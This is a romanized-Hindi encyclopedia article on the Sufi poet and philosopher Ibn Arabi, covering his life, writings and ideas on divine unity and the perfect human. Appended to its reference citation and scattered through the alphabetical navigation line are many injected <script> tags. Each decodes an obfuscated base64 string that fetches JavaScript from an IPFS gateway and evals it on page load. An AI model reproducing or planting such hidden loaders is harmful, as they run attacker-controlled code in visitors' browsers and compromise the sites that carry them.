इबने अरबी

	ibane arabi
	ibane arabi\|200px\|center
poora nam	shekh aboo bakar moeeuddin bin ali
any nam	shekhul akabar
janm	28 julaee, 1165 ee.
janm bhoomi	marasiya, spen
mrityu	10 navanbar, 1240 ee.
mrityu sthan	damishk, siriya
karm-kshetr	soophi kavi, sadhak aur vicharak
mukhy rachanaean	inaki kritiyoan ki vishvasaniy sankhya amataur par adhik se adhik 150 ke qarib mani jati hai.
prasiddhi	darshanik
any janakari	ibane arabi ke matanusar poorn manushy vah darpan hai, jisamean sari khudaee pratibimbit hoti hai. vah sampoorn brahmaand ka sar hai, is prithvi par eeshvar ka pratinidhi hai aur ek aisi hasti hai, jise eeshvar ke roop mean dhala gaya hai.

ibane arabi (aangrezi: Ibn Arabi, poora nam:'shekh aboo bakar moeeuddin bin ali', janm: 28 julaee, 1165 ee.; mrityu: 10 navanbar, 1240 ee.) arabi ke prasiddh soophi kavi, sadhak aur vicharak the. ibane arabi ke sambandh mean logoan ki alag-alag dharanaean haian. kuchh vyaktiyoan ke vichar se ve sannyasi (vali kamil) the aur adhyatmh par unaka poorn adhikar tha, jisamean kisi ki koee apatti nahian ho sakati. doosari or ek aisa samuday bhi tha, jo unhean nastik samajhata tha. ibane arabi ki pustakoan ke sambandh mean aj bhi aisi hi paraspar virodhi dharanaean prachalit haian. ye 'shekhul akabar' ke nam se bhi prasiddh hai.

jivan parichay

17 ramajan sanh 560 hijari (28 julaee, 1165 ee.) marasiya mean paida hue the, jo undalus ke dakshin poorv mean sthit hai. unaka sambandh arab ke ek prachin kabile 'tay' se tha. jagath vikhyat dani 'hatimataee' isi kabile ke the. san 568 hijari mean ibane arabi (ashabiliya) chale ge, jo un dinoan vidya aur sahity ka bahut b da kendr tha. yahaan ve tis sal tak us samay ke jane mane vidvanh se jnan prapti karate rahe. 38 varsh ki ayu mean ve poorvi desh chale ge aur vahaan se phir kabhi svadesh nahian laute. sabase pahale ve misr pahuanche aur kuchh samay vahaan vyatit kiya. phir samipasth poorv aur eshiyaee kochak (turki) ki lambi yatra mean vyast ho ge aur is silasile mean baitulamakadis (porashalam) makka, bagadad aur halab ge. ant mean unhoanne damishk mean sthaee roop se rahana prarambh kar diya aur vahian par sanh 638 hijari (1240 ee.) mean unaka dehant ho gaya. unhean kasiun parvat mean daphan kar diya gaya.

rachanaean

ibane arabi ki rachanaoan ki sankhya aur unake khandoan ke bare mean kuchh bhi thik-thik nahian kaha ja sakata. abdurrahaman jami ne, ek bagadad vasi vriddh sajjan ke kathananusar, ibane arabi ki pustakoan ki sankhya 580 se adhik bataee hai aur misr ke vidvanh muhammad rajab hilmi ne inaki sankhya 284 aanki hai. inaki kritiyoan ki vishvasaniy sankhya amataur par adhik se adhik 150 ke qarib mani jati hai. ibane arabi ne apani rachanaoan ka jo bhandar chho da hai, vah us samay ki sabhi islamik shikshaoan ko apane mean samete hue haian, parantu adhikatar pustakoan ka vishay soophivad (tasabbuph) hai. in sabhi pustakoan ko samay ki drishti se kramabaddh karana atyant kathin hai. inamean se 'phutuhot-makkiya' atyant mahattvapoorn hai, jo unake paripakv mastishk ka darpan hai. unake likhane ka dhang pratikatmak aur vyakhya atyant goodh hai. kahian-kahian jan boojhakar kuchh batoan ko unhoanne durbodh banane ka prayas kiya hai. aisa isalie ki ve apane bahadatulavujudi ke siddhaant ko logoan se chhipa sakean. phalat: islamik sansar mean unake siddhaantoan ke vishay mean virodhabhas paya jata hai.

drishtikon

darshanik drishti se inaka sabase adhik mahattvapoorn yogadan sarvabhaum manav ke pratyay ka parimarjan hai. kahane ki avashyakata nahian ki yah sanpratyay soophiyoan ki kritiyoan mean shanai: shanai: pahale se hi prakat hone lag gaya tha. sarvabhaum (insan-e-kamil) manav ka yah sanpratyay logos ke navy plotonik pratyay ki bhaanti eeshvar ki srijanatmak shakti ka pratinidhitv karata hai evan jagath v eeshvar ke bich madhyasth shakti ke roop mean kriyashil hone mean saksham hai. is prakar sarvabhaum manav brahmaand evan manav ke mool roop ka pratinidhitv karata hai. yah ek namoona ya adarsh prastut karata hai, jisake anuroop ho pane ke lie manav satat prayatnashil rah sakata hai.

inaki kritiyoan mean bahut se poorvavarti mahattvapoorn darshanikoan evan vaicharik gatividhiyoan ke prabhav dikhate haian. ye vishesh roop se pleto, arastu, platinas evan navy pletovadiyoan se prabhavit the. inhoanne apane samay ke aandhavishvasapoorn dharmashastr ko darshan se sambaddh karane ka prayas kiya hai. inake dvara varnit satta ke ghatak roop evan bhav haian, jo arastu ke upadan evan akar se sadrishy rakhate haian. manav eeshvar ko pratibimbit karata hai, jisamean vah apane ko jaisa vah hai, dekh sakata hai. eeshvar ke svabhav ko pratibimbit karane ki yah sthiti nitaant apoorn pratibimboan se poorn manavoan^[1] tatha doosare devadootoan, santoan adi dvara sampann nitaant poorn pratibimboan tak vistrit hai. ye advaitavad mean pakka vishvas rakhane vale vyakti the, jisake anusar eeshvar evan jagath nirapeksh satta ke do sah-sambandhi evan poorak tatv haian. ibane arabi ke poorv ek doosare mahanh soophi mansoor ne 'maian saty (ek matr) hooan' ka udghosh kiya tha aur is udghosh ke lie unaki hatya kar di gee thi, kyoanki aandhavishvasiyoan ke anusar unaka yah udghosh ek eeshvar niandatmak kathan tha. ibane abari mansoor ke vicharoan se sahamat nahian ho sake, kyoanki inake anusar ve vichar pratipady nahian the. inake anusar manav apoorn evan simit hai evan eeshvar poorn evan asimit hai aur manav keval 'ek saty' ho sakata hai, 'ek matr saty' nahian.

dante ke svargarohan ke varnan ko dhyan mean rakhate hue yah bahutoan ka khyal hai ki arabi ke kavyatmak tatvashastriy soophivad ne dante ko prabhavit kiya hai. kahane ki avashyakata nahian ki dante ka yah varnan jisamean unhoanne nakshatr shastriy siddhaantoan ko muhammad ki svarg yatra se sambaddh kiya hai. muslim matabalanbiyoan ke ek mahattvapoorn vishvas ka ghatak hai. apane vishvadevatavadi siddhaantoan mean inhoanne manav ko dainik sar ka aankur mana hai, jo vastav mean eeshvar ki jnatavy hone ki ichchha ke karan astitv mean hai. dainik satta ko anubhav kiye jane ki prakriya mean chintashil manav apane hi vyaktitv mean brahmaand ki sanrachana ko pratibimbit karata hai. 'logos' ke siddhaant ka upayog karate hue inhoanne usako brahmaand mean ek srijanatmak tatv ke roop mean svikar kiya hai aur usaka tadatmy muhammad ke atmanh se sthapit kiya hai.

vicharadhara

inaki kritiyaan aandhavishvasi dharmashastriyoan dvara poornaroop se upekshit rahian, tathapi inhoanne parasiyan rahasyavadi kaviyoan tatha jamaluddin roomi (1207-1273) evan nooruddin jami (1414-1482) ko mahattvapoorn sima tak prabhavit kiya hai. ibane arabi ka soophi darshan eeshvar ki ekaroopata aur sarvavyapakata ke siddhaant par adharit hai. yah siddhaant kuchh shabdoan mean is prakar prastut kiya ja sakata hai:

mahan hai vah shakti jisane sabako racha aur jo svayan unake kan kan mean samaee huee hai.

unhoanne arabi mean likha hai, jisaka anuvad hai

'he eeshvar, toone sab vastuoan ko utpann kiya hai. too sangrah karata hai, un sab vastuoan ka jinhean too utpann karata hai. too vah har vastu utpann karata hai, jisaka astitv tujhamean samakar kabhi nasht nahian hota aur isi prakar too hi sankirn bhi hai aur too hi brihath bhi.'

yah siddhaant eeshvar ki ekaroopata aur sarvavyapakata ka aisa roop hai, jisake anusar sara vishv is vasvatikata ka pratibimb matr hai, jo usake pichhe chhipa hua hai aur is prakar ke tatv ko anubhav karane ka ek matr dhang soophiyana dhyan hai.

ibane arabi ke matanusar

ibane arabi ka kahana hai ki jahaan eeshvar ek aisi akhand vastavikata hai, jo hamare vicharoan aur vyakhyanoan ke ghere se bahar hai, vahian ek aisi hasti bhi hai, jis par vishvas kiya ja sakata hai, jisase muhabbat ki ja sakati hai. yah bat halaanki islamik vicharadhara ke atyant samip hai, parantu ise (eeshvar ko) kisi vishesh shakl siddhaant ya dharm ki sima mean baandha nahian ja sakata. jis kisi vastu ki bhi pooja ki jati hai, usaki vastavikata isake alava aur kuchh bhi nahian hai ki vah un anaginat chhaviyoan mean se ek hai, jinake dvara eeshvar apane apako prakat karata hai. eeshvar ko keval ek shakl-soorat ki sima mean baandhana aur any sabhi sooratoan se alag alag karana kuphr hai. har poojane yogy moorti mean usake astitv ko manyata di gee hai aur isi mean dharm ki sahi atma chhipi huee hai. yah sarvalaukik dharm jisaka upadesh ibane arabi ne diya hai, ek aisa dharm hai, jisane sabhi dharmoan ko apane mean samet liya hai, jisake karan sabhi siddhaant ek doosare mean is prakar ekakar ho ge haian, jis prakar sachcha sarvashaktiman sabhi vastuoan ko sametakar unako ekikrit kar leta hai. is vichar ko ibane arabi ne is tarah prakat kiya hai-

'mera hriday har ek chhavi ka basera ban gaya hai. yah hiranoan ke lie ek charagah hai, eesaee padariyoan ke lie pooja ki vedi, moortipoojakoan ke lie mandir, hajiyoan ke lie kaba aur turet. maian quran mean prem ke dharm ko manane vala hooan aur usi or chalata hooan, jis or usaka karavaan le jae, kyoanki yahi mera dharm hai aur yahi mera eeman.'

ibane arabi ke matanusar poorn manushy vah darpan hai, jisamean sari khudaee pratibimbit hoti hai. vah sampoorn brahmaand ka sar hai, is prithvi par eeshvar ka pratinidhi hai aur ek aisi hasti hai, jise eeshvar ke roop mean dhala gaya hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

amanatullah, shri es.ech. vishv ke pramukh darshanik (hindi). bharatadiskavari pustakalay: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 59.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

↑ yatha adam

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] yatha adam

[1]